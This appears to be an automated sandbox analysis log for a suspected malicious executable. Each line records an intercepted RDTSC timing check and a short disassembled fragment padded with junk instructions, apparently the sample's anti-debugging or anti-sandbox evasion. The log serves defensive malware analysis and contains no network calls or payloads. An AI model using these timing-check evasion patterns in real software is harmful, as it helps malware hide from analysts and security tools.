Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5D5D28 second address: 5D5D2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5D5D2E second address: 5D5D3A instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA948C4CB26h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5D6303 second address: 5D632D instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA948B16F82h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007FA948B16F82h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5DA44F second address: 5DA461 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948C4CB2Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5DA782 second address: 5DA787 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5DA787 second address: 5DA794 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007FA948C4CB26h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5DA794 second address: 5DA798 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5DAB80 second address: 5DAB89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5DAB89 second address: 5DAB93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FA948B16F76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5DAB93 second address: 5DAB97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5DACD4 second address: 5DACE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FA948B16F7Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5DACE8 second address: 5DACEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5DACEC second address: 5DACF4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5E731C second address: 5E7320 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5E7320 second address: 5E732A instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA948B16F76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5E732A second address: 5E732F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5E732F second address: 5E7337 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5E5B2E second address: 5E5B35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5E5B35 second address: 5E5B3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5E5B3B second address: 5E5B45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5E5B45 second address: 5E5B5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FA948B16F8Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5E5D18 second address: 5E5D31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA948C4CB34h 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5E5D31 second address: 5E5D4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948B16F80h 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007FA948B16F76h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5E5D4D second address: 5E5D51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5E5D51 second address: 5E5D55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5E6034 second address: 5E6040 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5E6040 second address: 5E6046 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5E637E second address: 5E6384 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5E6384 second address: 5E639D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jl 00007FA948B16F82h 0x0000000d jne 00007FA948B16F76h 0x00000013 jne 00007FA948B16F76h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5E6AD3 second address: 5E6AD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5E6AD7 second address: 5E6ADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5E6ADD second address: 5E6AF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA948C4CB33h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5E715D second address: 5E719E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948B16F80h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FA948B16F89h 0x0000000f js 00007FA948B16F76h 0x00000015 jmp 00007FA948B16F7Bh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5E5045 second address: 5E5063 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA948C4CB38h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5EE479 second address: 5EE47D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5F0BFE second address: 5F0C04 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5F0C04 second address: 5F0C47 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948B16F85h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FA948B16F86h 0x0000000f pushad 0x00000010 jne 00007FA948B16F76h 0x00000016 ja 00007FA948B16F76h 0x0000001c popad 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 52D27D second address: 52D283 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 52D283 second address: 52D28B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 52D28B second address: 52D2AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 pushad 0x00000008 jmp 00007FA948C4CB2Ch 0x0000000d push edi 0x0000000e pop edi 0x0000000f jmp 00007FA948C4CB2Ah 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 52D2AD second address: 52D2BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007FA948B16F7Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5F0AA3 second address: 5F0AB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA948C4CB2Bh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5F0AB4 second address: 5F0AB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5FDF76 second address: 5FDF7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 601947 second address: 60194C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 60194C second address: 60197F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FA948C4CB26h 0x0000000a pop ebx 0x0000000b jmp 00007FA948C4CB2Fh 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FA948C4CB34h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 606326 second address: 606334 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FA948B16F76h 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 60EEEC second address: 60EEF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 60ED9F second address: 60EDA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 6129D9 second address: 6129DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 613FDB second address: 613FFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA948B16F82h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e jg 00007FA948B16F76h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 613FFC second address: 61400A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948C4CB2Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 6190F2 second address: 619116 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FA948B16F7Ch 0x0000000a pop edx 0x0000000b pushad 0x0000000c pushad 0x0000000d jmp 00007FA948B16F7Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 6192AB second address: 6192C1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 ja 00007FA948C4CB26h 0x00000009 jbe 00007FA948C4CB26h 0x0000000f pop esi 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 6192C1 second address: 6192E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a jmp 00007FA948B16F84h 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 61945D second address: 619463 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 619463 second address: 619469 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 619785 second address: 619792 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FA948C4CB26h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 619792 second address: 61979E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jbe 00007FA948B16F76h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 61A523 second address: 61A52F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FA948C4CB26h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 61A52F second address: 61A53C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007FA948B16F7Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 62BE61 second address: 62BE79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007FA948C4CB32h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 638632 second address: 63863E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FA948B16F76h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 63863E second address: 638647 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 638647 second address: 63864B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 63864B second address: 638672 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948C4CB2Fh 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b js 00007FA948C4CB28h 0x00000011 push eax 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jns 00007FA948C4CB26h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 638672 second address: 638676 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 63BC53 second address: 63BC6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jnp 00007FA948C4CB26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d jnp 00007FA948C4CB26h 0x00000013 jo 00007FA948C4CB26h 0x00000019 pop ebx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 63BC6D second address: 63BC96 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FA948B16F87h 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007FA948B16F76h 0x00000011 jns 00007FA948B16F76h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 63BDDB second address: 63BDDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 63BDDF second address: 63BE12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FA948B16F7Fh 0x0000000d jmp 00007FA948B16F88h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 63BE12 second address: 63BE16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 6510FB second address: 65112F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jno 00007FA948B16F76h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FA948B16F83h 0x00000014 jmp 00007FA948B16F82h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 65112F second address: 651133 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 651133 second address: 65113B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 6500B7 second address: 6500C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA948C4CB2Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 6500C5 second address: 6500C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 6500C9 second address: 6500E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA948C4CB34h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 6500E3 second address: 6500EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007FA948B16F76h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 650225 second address: 650243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jmp 00007FA948C4CB35h 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 6503B2 second address: 6503B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 6503B9 second address: 6503BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 6503BF second address: 6503C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 65052B second address: 650548 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA948C4CB2Dh 0x00000009 jmp 00007FA948C4CB2Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 650842 second address: 650847 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 6509DD second address: 6509E7 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA948C4CB2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 650C89 second address: 650C9F instructions: 0x00000000 rdtsc 0x00000002 js 00007FA948B16F76h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 je 00007FA948B16F76h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 650E01 second address: 650E07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 65281A second address: 65283A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948B16F88h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 65283A second address: 65283E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 65283E second address: 652844 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 65514E second address: 655153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 655309 second address: 65530D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 6556C5 second address: 6556E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 nop 0x00000007 mov edx, dword ptr [ebp+12473B8Bh] 0x0000000d push dword ptr [ebp+122D1D0Fh] 0x00000013 mov dh, 61h 0x00000015 push 76AAB146h 0x0000001a push eax 0x0000001b push edx 0x0000001c push ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 6556E4 second address: 6556E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 6589D1 second address: 6589D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 6589D5 second address: 6589FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007FA948B16F89h 0x0000000c jc 00007FA948B16F76h 0x00000012 pop edi 0x00000013 rdtsc
